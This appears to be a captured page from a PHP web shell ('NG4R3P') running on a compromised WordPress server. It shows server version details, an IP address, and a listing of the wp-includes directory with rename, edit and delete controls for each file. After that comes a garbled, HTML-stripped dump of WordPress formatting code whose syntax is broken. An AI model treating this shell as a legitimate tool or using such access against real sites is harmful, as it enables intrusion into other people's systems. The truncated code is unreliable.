NG4R3P
Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
  SOFT : Apache/2.4.18 (Ubuntu) PHP : 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
/var/www/bialog/wp-includes/
138.68.56.76

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
ID3 dir drwxrwxr-x 2019-12-19 13:39 R D
IXR dir drwxrwxr-x 2019-12-19 13:39 R D
Requests dir drwxrwxr-x 2019-12-19 13:44 R D
SimplePie dir drwxrwxr-x 2019-12-19 13:47 R D
Text dir drwxrwxr-x 2019-12-19 13:45 R D
blocks dir drwxrwxr-x 2019-12-19 13:38 R D
certificates dir drwxrwxr-x 2019-12-19 13:38 R D
css dir drwxrwxr-x 2019-12-19 13:45 R D
customize dir drwxrwxr-x 2019-12-19 13:39 R D
fonts dir drwxrwxr-x 2019-12-19 13:39 R D
images dir drwxrwxr-x 2019-12-19 13:42 R D
js dir drwxrwxr-x 2019-12-19 13:43 R D
pomo dir drwxrwxr-x 2019-12-19 13:40 R D
random_compat dir drwxrwxr-x 2019-12-19 13:40 R D
rest-api dir drwxrwxr-x 2019-12-19 13:44 R D
sodium_compat dir drwxrwxr-x 2019-12-19 13:45 R D
theme-compat dir drwxrwxr-x 2019-12-19 13:41 R D
widgets dir drwxrwxr-x 2019-12-19 13:41 R D
admin-bar.php 31.432 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
atomlib.php 11.947 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
author-template.php 17.153 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
blocks.php 11.437 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
bookmark-template.php 12.52 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
bookmark.php 15.104 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
cache.php 22.082 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
canonical.php 28.972 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
capabilities.php 34.325 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
category-template.php 52.844 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
category.php 12.453 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-IXR.php 2.57 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-feed.php 0.55 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-http.php 38.903 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-json.php 43.386 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-oembed.php 0.415 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-phpass.php 7.414 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-phpmailer.php 148.468 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-pop3.php 21.075 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-requests.php 30.057 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-simplepie.php 90.192 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-smtp.php 41.145 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-snoopy.php 38.129 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-category-dropdown.php 2.157 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-category.php 7.951 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-comment.php 12.192 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-nav-menu.php 8.732 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-page-dropdown.php 2.334 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-walker-page.php 7.099 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-admin-bar.php 17.168 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-ajax-response.php 5.271 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-block-parser.php 15.4 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-block-styles-registry.php 4.712 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-block-type-registry.php 4.804 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-block-type.php 4.913 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-comment-query.php 44.251 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-comment.php 9.11 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-control.php 25.24 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-manager.php 202.873 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-nav-menus.php 54.736 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-panel.php 9.744 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-section.php 10.316 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-setting.php 28.475 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-customize-widgets.php 67.434 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-date-query.php 35.023 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-dependency.php 2.576 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-editor.php 68.371 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-embed.php 14.887 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-error.php 5.028 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-fatal-error-handler.php 7.479 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-feed-cache-transient.php 2.629 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-feed-cache.php 0.763 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-hook.php 14.458 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-cookie.php 7.233 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-curl.php 12.437 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-encoding.php 6.615 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-ixr-client.php 3.368 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-proxy.php 6.158 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-requests-hooks.php 1.978 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-requests-response.php 4.434 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-response.php 3.031 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-http-streams.php 16.155 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-image-editor-gd.php 14.055 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-image-editor-imagick.php 23.872 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-image-editor.php 14.124 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-list-util.php 6.517 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-locale-switcher.php 5.136 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-locale.php 13.928 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-matchesmapregex.php 1.849 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-meta-query.php 27.993 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-metadata-lazyloader.php 5.424 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-network-query.php 18.504 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-network.php 12.461 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-oembed-controller.php 6.099 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-oembed.php 30.321 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-paused-extensions-storage.php 5.035 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-post-type.php 19.783 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-post.php 6.668 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-query.php 131.45 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-recovery-mode-cookie-service.php 6.535 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-recovery-mode-email-service.php 10.229 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-recovery-mode-key-service.php 4.362 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-recovery-mode-link-service.php 3.415 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-recovery-mode.php 11.55 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-rewrite.php 60.385 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-role.php 2.706 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-roles.php 8.467 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-session-tokens.php 7.543 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-simplepie-file.php 2.343 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-simplepie-sanitize-kses.php 1.789 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-site-query.php 28.663 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-site.php 7.536 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-tax-query.php 19.454 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-taxonomy.php 10.877 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-term-query.php 35.596 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-term.php 5.38 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-text-diff-renderer-inline.php 0.731 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-text-diff-renderer-table.php 16.938 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-theme.php 50.579 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-user-meta-session-tokens.php 3.05 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-user-query.php 31.437 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-user-request.php 2.054 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-user.php 22.113 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-walker.php 12.856 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-widget-factory.php 2.898 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-widget.php 18.009 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp-xmlrpc-server.php 211.63 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class-wp.php 24.39 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class.wp-dependencies.php 11.657 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class.wp-scripts.php 18.014 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
class.wp-styles.php 10.732 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
comment-template.php 91.91 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
comment.php 117.444 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
compat.php 11.849 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
cron.php 32.657 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
date.php 0.413 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
default-constants.php 10.285 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
default-filters.php 25.797 KB -rw-rw-r-- 2019-12-19 13:37 R E G D
default-widgets.php 2.192 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
deprecated.php 115.252 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
embed-template.php 0.349 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
embed.php 46.976 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
error-protection.php 3.441 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-atom-comments.php 5.413 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-atom.php 3.1 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-rdf.php 2.691 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-rss.php 1.21 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-rss2-comments.php 4.172 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed-rss2.php 3.816 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
feed.php 21.857 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
formatting.php 294.543 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
functions.php 226.959 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
functions.wp-scripts.php 12.906 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
functions.wp-styles.php 8.257 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
general-template.php 153.526 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
http.php 22.77 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
kses.php 58.987 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
l10n.php 53.436 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
link-template.php 144.392 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
load.php 43.795 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
locale.php 0.169 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
media-template.php 57.741 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
media.php 149.358 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
meta.php 47.945 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-blogs.php 24.714 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-default-constants.php 4.841 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-default-filters.php 6.389 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-deprecated.php 21.559 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-files.php 2.673 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-functions.php 88.312 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-load.php 19.719 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-network.php 3.707 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-settings.php 4.157 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
ms-site.php 43.36 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
nav-menu-template.php 22.126 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
nav-menu.php 41.56 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
option.php 70.488 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
pluggable-deprecated.php 6.318 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
pluggable.php 100.121 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
plugin.php 32.474 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
post-formats.php 7.147 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
post-template.php 63.225 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
post-thumbnail-template.php 9.047 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
post.php 243.005 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
query.php 33.293 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
registration-functions.php 0.206 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
registration.php 0.206 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
rest-api.php 47 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
revision.php 21.943 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
rewrite.php 18.214 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
rss-functions.php 0.219 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
rss.php 23.596 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
script-loader.php 113.549 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
session.php 0.27 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
shortcodes.php 20.897 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
spl-autoload-compat.php 0.446 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
taxonomy.php 158.793 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
template-loader.php 2.892 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
template.php 21.262 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
theme.php 105.703 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
update.php 25.789 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
user.php 124.439 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
vars.php 5.844 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
version.php 0.815 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
widgets.php 59.074 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
wlwmanifest.xml 1.063 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
wp-db.php 104.936 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
wp-diff.php 0.667 KB -rw-rw-r-- 2019-12-19 13:38 R E G D
REQUEST EXIT
', $open_sq_flag = '', $apos_flag = ''; // If there's nothing to do, just stop. if ( empty( $text ) || false === $run_texturize ) { return $text; } // Set up static variables. Run once only. if ( $reset || ! isset( $static_characters ) ) { /** * Filters whether to skip running wptexturize(). * * Passing false to the filter will effectively short-circuit wptexturize(). * returning the original text passed to the function instead. * * The filter runs only once, the first time wptexturize() is called. * * @since 4.0.0 * * @see wptexturize() * * @param bool $run_texturize Whether to short-circuit wptexturize(). */ $run_texturize = apply_filters( 'run_wptexturize', $run_texturize ); if ( false === $run_texturize ) { return $text; } /* translators: Opening curly double quote. */ $opening_quote = _x( '“', 'opening curly double quote' ); /* translators: Closing curly double quote. */ $closing_quote = _x( '”', 'closing curly double quote' ); /* translators: Apostrophe, for example in 'cause or can't. */ $apos = _x( '’', 'apostrophe' ); /* translators: Prime, for example in 9' (nine feet). */ $prime = _x( '′', 'prime' ); /* translators: Double prime, for example in 9" (nine inches). */ $double_prime = _x( '″', 'double prime' ); /* translators: Opening curly single quote. */ $opening_single_quote = _x( '‘', 'opening curly single quote' ); /* translators: Closing curly single quote. */ $closing_single_quote = _x( '’', 'closing curly single quote' ); /* translators: En dash. */ $en_dash = _x( '–', 'en dash' ); /* translators: Em dash. */ $em_dash = _x( '—', 'em dash' ); $default_no_texturize_tags = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' ); $default_no_texturize_shortcodes = array( 'code' ); // if a plugin has provided an autocorrect array, use it if ( isset( $wp_cockneyreplace ) ) { $cockney = array_keys( $wp_cockneyreplace ); $cockneyreplace = array_values( $wp_cockneyreplace ); } else { /* * translators: This is a comma-separated list of words that defy the syntax of quotations in normal use, * for example... 'We do not have enough words yet' ... is a typical quoted phrase. But when we write * lines of code 'til we have enough of 'em, then we need to insert apostrophes instead of quotes. */ $cockney = explode( ',', _x( "'tain't,'twere,'twas,'tis,'twill,'til,'bout,'nuff,'round,'cause,'em", 'Comma-separated list of words to texturize in your language' ) ); $cockneyreplace = explode( ',', _x( '’tain’t,’twere,’twas,’tis,’twill,’til,’bout,’nuff,’round,’cause,’em', 'Comma-separated list of replacement words in your language' ) ); } $static_characters = array_merge( array( '...', '``', '\'\'', ' (tm)' ), $cockney ); $static_replacements = array_merge( array( '…', $opening_quote, $closing_quote, ' ™' ), $cockneyreplace ); // Pattern-based replacements of characters. // Sort the remaining patterns into several arrays for performance tuning. $dynamic_characters = array( 'apos' => array(), 'quote' => array(), 'dash' => array(), ); $dynamic_replacements = array( 'apos' => array(), 'quote' => array(), 'dash' => array(), ); $dynamic = array(); $spaces = wp_spaces_regexp(); // '99' and '99" are ambiguous among other patterns; assume it's an abbreviated year at the end of a quotation. if ( "'" !== $apos || "'" !== $closing_single_quote ) { $dynamic[ '/\'(\d\d)\'(?=\Z|[.,:;!?)}\-\]]|>|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_single_quote; } if ( "'" !== $apos || '"' !== $closing_quote ) { $dynamic[ '/\'(\d\d)"(?=\Z|[.,:;!?)}\-\]]|>|' . $spaces . ')/' ] = $apos_flag . '$1' . $closing_quote; } // '99 '99s '99's (apostrophe) But never '9 or '99% or '999 or '99.0. if ( "'" !== $apos ) { $dynamic['/\'(?=\d\d(?:\Z|(?![%\d]|[.,]\d)))/'] = $apos_flag; } // Quoted Numbers like '0.42' if ( "'" !== $opening_single_quote && "'" !== $closing_single_quote ) { $dynamic[ '/(?<=\A|' . $spaces . ')\'(\d[.,\d]*)\'/' ] = $open_sq_flag . '$1' . $closing_single_quote; } // Single quote at start, or preceded by (, {, <, [, ", -, or spaces. if ( "'" !== $opening_single_quote ) { $dynamic[ '/(?<=\A|[([{"\-]|<|' . $spaces . ')\'/' ] = $open_sq_flag; } // Apostrophe in a word. No spaces, double apostrophes, or other punctuation. if ( "'" !== $apos ) { $dynamic[ '/(?&/\[\]\x00-\x20=]++)@', $text, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); $found_shortcodes = ! empty( $tagnames ); $shortcode_regex = $found_shortcodes ? _get_wptexturize_shortcode_regex( $tagnames ) : ''; $regex = _get_wptexturize_split_regex( $shortcode_regex ); $textarr = preg_split( $regex, $text, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); foreach ( $textarr as &$curl ) { // Only call _wptexturize_pushpop_element if $curl is a delimiter. $first = $curl[0]; if ( '<' === $first ) { if ( ''; $quote_pattern = "/$needle(?=\\Z|[.,:;!?)}\\-\\]]|>|" . $spaces . ')/'; $prime_pattern = "/(?<=\\d)$needle/"; $flag_after_digit = "/(?<=\\d)$flag/"; $flag_no_digit = "/(? &$sentence ) { if ( false === strpos( $sentence, $needle ) ) { continue; } elseif ( 0 !== $key && 0 === substr_count( $sentence, $close_quote ) ) { $sentence = preg_replace( $quote_pattern, $flag, $sentence, -1, $count ); if ( $count > 1 ) { // This sentence appears to have multiple closing quotes. Attempt Vulcan logic. $sentence = preg_replace( $flag_no_digit, $close_quote, $sentence, -1, $count2 ); if ( 0 === $count2 ) { // Try looking for a quote followed by a period. $count2 = substr_count( $sentence, "$flag." ); if ( $count2 > 0 ) { // Assume the rightmost quote-period match is the end of quotation. $pos = strrpos( $sentence, "$flag." ); } else { // When all else fails, make the rightmost candidate a closing quote. // This is most likely to be problematic in the context of bug #18549. $pos = strrpos( $sentence, $flag ); } $sentence = substr_replace( $sentence, $close_quote, $pos, strlen( $flag ) ); } // Use conventional replacement on any remaining primes and quotes. $sentence = preg_replace( $prime_pattern, $prime, $sentence ); $sentence = preg_replace( $flag_after_digit, $prime, $sentence ); $sentence = str_replace( $flag, $close_quote, $sentence ); } elseif ( 1 == $count ) { // Found only one closing quote candidate, so give it priority over primes. $sentence = str_replace( $flag, $close_quote, $sentence ); $sentence = preg_replace( $prime_pattern, $prime, $sentence ); } else { // No closing quotes found. Just run primes pattern. $sentence = preg_replace( $prime_pattern, $prime, $sentence ); } } else { $sentence = preg_replace( $prime_pattern, $prime, $sentence ); $sentence = preg_replace( $quote_pattern, $close_quote, $sentence ); } if ( '"' == $needle && false !== strpos( $sentence, '"' ) ) { $sentence = str_replace( '"', $close_quote, $sentence ); } } return implode( $open_quote, $sentences ); } /** * Search for disabled element tags. Push element to stack on tag open and pop * on tag close. * * Assumes first char of $text is tag opening and last char is tag closing. * Assumes second char of $text is optionally '/' to indicate closing as in . * * @since 2.9.0 * @access private * * @param string $text Text to check. Must be a tag like `` or `[shortcode]`. * @param array $stack List of open tag elements. * @param array $disabled_elements The tag names to match against. Spaces are not allowed in tag names. */ function _wptexturize_pushpop_element( $text, &$stack, $disabled_elements ) { // Is it an opening tag or closing tag? if ( isset( $text[1] ) && '/' !== $text[1] ) { $opening_tag = true; $name_offset = 1; } elseif ( 0 == count( $stack ) ) { // Stack is empty. Just stop. return; } else { $opening_tag = false; $name_offset = 2; } // Parse out the tag name. $space = strpos( $text, ' ' ); if ( false === $space ) { $space = -1; } else { $space -= $name_offset; } $tag = substr( $text, $name_offset, $space ); // Handle disabled tags. if ( in_array( $tag, $disabled_elements ) ) { if ( $opening_tag ) { /* * This disables texturize until we find a closing tag of our type * (e.g.
) even if there was invalid nesting before that
			 *
			 * Example: in the case 
sadsadasd"baba"
* "baba" won't be texturize */ array_push( $stack, $tag ); } elseif ( end( $stack ) == $tag ) { array_pop( $stack ); } } } /** * Replaces double line-breaks with paragraph elements. * * A group of regex replaces used to identify text formatted with newlines and * replace double line-breaks with HTML paragraph tags. The remaining line-breaks * after conversion become <
> tags, unless $br is set to '0' or 'false'. * * @since 0.71 * * @param string $pee The text which has to be formatted. * @param bool $br Optional. If set, this will convert all remaining line-breaks * after paragraphing. Default true. * @return string Text which has been converted into correct paragraph tags. */ function wpautop( $pee, $br = true ) { $pre_tags = array(); if ( trim( $pee ) === '' ) { return ''; } // Just to make things a little easier, pad the end. $pee = $pee . "\n"; /* * Pre tags shouldn't be touched by autop. * Replace pre tags with placeholders and bring them back after autop. */ if ( strpos( $pee, '', $pee ); $last_pee = array_pop( $pee_parts ); $pee = ''; $i = 0; foreach ( $pee_parts as $pee_part ) { $start = strpos( $pee_part, ''; $pee .= substr( $pee_part, 0, $start ) . $name; $i++; } $pee .= $last_pee; } // Change multiple
s into two line breaks, which will turn into paragraphs. $pee = preg_replace( '|\s*|', "\n\n", $pee ); $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)'; // Add a double line break above block-level opening tags. $pee = preg_replace( '!(<' . $allblocks . '[\s/>])!', "\n\n$1", $pee ); // Add a double line break below block-level closing tags. $pee = preg_replace( '!()!', "$1\n\n", $pee ); // Add a double line break after hr tags, which are self closing. $pee = preg_replace( '!()!', "$1\n\n", $pee ); // Standardize newline characters to "\n". $pee = str_replace( array( "\r\n", "\r" ), "\n", $pee ); // Find newlines in all elements and add placeholders. $pee = wp_replace_in_html_tags( $pee, array( "\n" => ' ' ) ); // Collapse line breaks before and after ', $pee ); } /* * Collapse line breaks inside elements, before and elements * so they don't get autop'd. */ if ( strpos( $pee, '' ) !== false ) { $pee = preg_replace( '|(]*>)\s*|', '$1', $pee ); $pee = preg_replace( '|\s*|', '', $pee ); $pee = preg_replace( '%\s*(]*>)\s*%', '$1', $pee ); } /* * Collapse line breaks inside